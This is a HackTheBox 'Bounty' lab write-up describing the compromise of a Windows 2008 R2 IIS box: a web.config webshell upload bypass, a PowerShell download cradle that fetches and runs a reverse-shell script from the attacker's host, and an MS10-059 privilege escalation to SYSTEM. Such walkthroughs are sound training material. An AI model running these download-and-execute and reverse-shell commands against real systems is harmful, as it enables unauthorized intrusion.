HackTheBox: Bounty
windows iis file-upload reverse-shell powershell ms10-059// Lessons Learned
- If your reverse-shell has been spawned via Powershell and STDOUT isn’t cooperating, ncat can be used to easily swap to a native Windows shell.
- The years haven’t been kind to Windows 2008.
// Recon
┌──(kali㉿kali)-[~/HTB/boxes/bounty]
└─$ nmap -A -p- bounty.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-03 07:25 AEST
Nmap scan report for bounty.htb (10.10.10.93)
Host is up (0.034s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.72 seconds
Nmap reveals the target is running only one externally-facing service, http via IIS on port 80
. Checking the IIS release history on Wikipedia explains that the specific version running, 7.5, was included in Windows 7 and Windows Server 2008 R2, so it’s likely one of those versions is being used. Accessing the site via browser returns a static home page with a single Wizard image:
There’s no links away from this page, but running feroxbuster combined with a SecLists wordlist reveals some additional content. Because this is a Windows box, we can use a case-insensitive wordlist to speed up execution:
┌──(kali㉿kali)-[~/HTB/boxes/bounty]
└─$ feroxbuster -u http://bounty.htb -w /mnt/hgfs/GitHub/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x asp,aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://bounty.htb
🚀 Threads │ 50
📖 Wordlist │ /mnt/hgfs/GitHub/danielmiessler/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [asp, aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 32l 53w 630c http://bounty.htb/
301 GET 2l 10w 155c http://bounty.htb/aspnet_client => http://bounty.htb/aspnet_client/
200 GET 22l 58w 941c http://bounty.htb/transfer.aspx
301 GET 2l 10w 155c http://bounty.htb/uploadedfiles => http://bounty.htb/uploadedfiles/
301 GET 2l 10w 166c http://bounty.htb/aspnet_client/system_web => http://bounty.htb/aspnet_client/system_web/
[####################] - 3m 398760/398760 0s found:5 errors:0
[####################] - 3m 79752/79752 426/s http://bounty.htb
[####################] - 3m 79752/79752 425/s http://bounty.htb/
[####################] - 3m 79752/79752 425/s http://bounty.htb/aspnet_client
[####################] - 3m 79752/79752 426/s http://bounty.htb/uploadedfiles
[####################] - 2m 79752/79752 565/s http://bounty.htb/aspnet_client/system_web
The two interesting findings here are /transfer.aspx
and /uploadedfiles/
, the first returning an upload form:
// Initial Foothold
File upload forms are a common target for abuse, with attackers commonly attempting to upload files that will allow server-side execution of code. We know the target is capable of executing ASP.NET code because of the page’s file extension, making an ASP webshell a good candidate for testing. As expected though, the server blocks our attempt to upload this kind of file, since it appears intended to accept image uploads only:
There are numerous published techniques for attempting to bypass this kind of blocking, which mostly involve trying to confuse the server about the nature of the file by obfuscating its file extension (mixed-case, adding null bytes etc.) The challenge is to do this while still tricking the server into recognising that, once uploaded, it should run the file as code. For example the webshell.asp
file can easily be renamed to webshell.png
and uploaded, but then if we try to access it at http://bounty.htb/uploadedfiles/webshell.png
, the server simply attempts to deliver an image, rather than execute the code within. As it turns out, this version of IIS was found to be vulnerable to just such a combination by uploading a web.config
file (similar to Apache’s .htaccess
file). The server will accept the file with the .config
extension believing it to be safe, but then execute any ASP code included in the file. PayloadAllTheThings provides a great example, which once uploaded provides a webshell interface:
The file disappears from the server within a few minutes, likely due to some kind of scheduled cleanup. But if we move quickly we can establish what software is installed on the server, to help establish a more persistent connection. We can confirm powershell is installed by running where powershell
, which returns 10.10.10.93C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
. All that is left to do now is start a python webserver on our attack box that can deliver a nishang powershell script:
┌──(kali㉿kali)-[~/HTB/boxes/bounty]
└─$ python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Start up a reverse shell listener:
┌──(kali㉿kali)-[~/HTB/boxes/bounty]
└─$ nc -lvnp 443
listening on [any] 443 ...
And then request the powershell script via the webshell:
powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.10:8081/shell.ps1')"
When the page is submitted, our python server receives a hit:
10.10.10.93 - - [13/Nov/2022 07:07:21] "GET /shell.ps1 HTTP/1.1" 200 -
and we quickly catch a reverse shell on the listener as the merlin
user:
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49161
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>whoami
bounty\merlin
From here, we can navigate to merlin’s home folder to retrieve the user flag. For some reason the user.txt
file is hidden on this machine, requiring the use of cmd /c dir /a
(or gci -force
in native Powershell) to confirm the file’s presence:
PS C:\windows\system32\inetsrv> cd C:\Users\merlin\desktop
PS C:\Users\merlin\desktop> dir
PS C:\Users\merlin\desktop> cmd /c dir /a
Volume in drive C has no label.
Volume Serial Number is 5084-30B0
Directory of C:\Users\merlin\desktop
05/30/2018 11:17 PM <DIR> .
05/30/2018 11:17 PM <DIR> ..
05/29/2018 11:22 PM 282 desktop.ini
11/12/2022 10:08 PM 34 user.txt
2 File(s) 316 bytes
2 Dir(s) 11,883,634,688 bytes free
PS C:\Users\merlin\desktop> type user.txt
d1210d**************************
// Privilege Escalation
Privesc checking tools such as WinPEAS, PowerUp etc are great, but it’s always worth executing some basic manual enumeration first, as a way of improving your ability to recognise insecure setups without the need for tools. Some obvious commands to run on a Windows target include:
whoami /all
to reveal the user’s groups and privilegescmdkey /list
to check for stored credentialssysteminfo
to display verbose information about the target- browsing the filesystem in search of unusual or custom software, other users’ directories etc.
In this case, systeminfo
confirms the target is running Windows Server 2008 R2 (as previously susupected, based on the IIS version detected by nmap) and seemingly with no hotfixes applied:
systeminfo
Host Name: BOUNTY
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3606965-84760
Original Install Date: 5/30/2018, 12:22:24 AM
System Boot Time: 11/10/2022, 7:43:05 AM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2300 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,290 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,220 MB
Virtual Memory: In Use: 875 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.93
There doesn’t seem to be any unusual software or services running on the target, so it’s likely privilege escalation will need to be achieved by exploiting the outdated operating system. Swapping to an automated tool at this point seems appropriate, and WinPEAS is usually the easiest to get running. In this situation, the .bat
batch-file version is required, since the target OS does not meet the minimum requirements of running .NET >= 4.5.2
:
PS C:\Users\merlin\desktop> (New-Object Net.WebClient).DownloadFile('http://10.10.14.18:8082/winPEAS.bat', 'C:\windows\temp\winPEAS.bat')
PS C:\windows\temp> cmd /c .\winPEAS.bat > winPEAS.log
When the command finally completes, reviewing the output confirms a number of OS-level exploits are applicable:
...
"Microsoft Windows Server 2008 R2 Datacenter "
[i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
MS11-080 patch is NOT installed XP/SP3,2K3/SP3-afd.sys)
MS16-032 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
MS11-011 patch is NOT installed XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
MS10-59 patch is NOT installed 2K8,Vista,7/SP0-Chimichurri)
MS10-21 patch is NOT installed 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
MS10-092 patch is NOT installed 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
MS10-073 patch is NOT installed XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
MS17-017 patch is NOT installed 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
MS08-025 patch is NOT installed 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
MS06-049 patch is NOT installed 2K/SP4-ZwQuerySysInfo)
MS06-030 patch is NOT installed 2K,XP/SP2-Mrxsmb.sys)
MS05-055 patch is NOT installed 2K/SP4-APC Data-Free)
MS05-018 patch is NOT installed 2K/SP3/4,XP/SP1/2-CSRSS)
MS04-019 patch is NOT installed 2K/SP2/3/4-Utility Manager)
MS04-011 patch is NOT installed 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
MS04-020 patch is NOT installed 2K/SP4-POSIX)
MS14-040 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
MS16-016 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
MS15-051 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
MS14-070 patch is NOT installed 2K3/SP2-TCP/IP)
MS13-005 patch is NOT installed Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
MS13-053 patch is NOT installed 7SP0/SP1_x86-schlamperei)
MS13-081 patch is NOT installed 7SP0/SP1_x86-track_popup_menu)
In terms of ease-of-exploit, anything that matches our target OS (Windows 2008 R2) and appears in the excellent SecWiki repo is potentially achievable. The trick is to find an exploit that can operate wholly within the current terminal session (that is, doesn’t spawn a new session or require GUI-type interaction) and can also execute cleanly within the PowerShell environment we’re currently logged into (another option would be to move into a native Windows shell by spawning a different reverse shell and invoking cmd.exe
, using something like ncat). MS10-059 is usually a good candidate, since it’s designed to spawn a new system-level reverse shell, rather than increase the privileges of the current shell. The binary just needs to be uploaded and executed, with the details of the new reverse-shell listener supplied as arguments:
PS C:\windows\temp> (New-Object Net.WebClient).DownloadFile('http://10.10.14.18:8081/ms10-059.exe', 'C:\windows\temp\MS10-059.exe')
PS C:\windows\temp> cmd /c .\MS10-059.exe 10.10.14.18 444
After a brief pause, the new listener catches a system-level shell, and the root flag can be retrieved from the usual location:
┌──(kali㉿kali)-[~/HTB/boxes/bounty]
└─$ nc -lvnp 444
listening on [any] 444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49194
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\windows\temp>whoami
whoami
nt authority\system
C:\windows\temp>cd C:\Users\administrator\desktop
cd C:\Users\administrator\desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
344a28**************************
Other kernel-level exploits would likely be similarly effective, provided they met the conditions mentioned.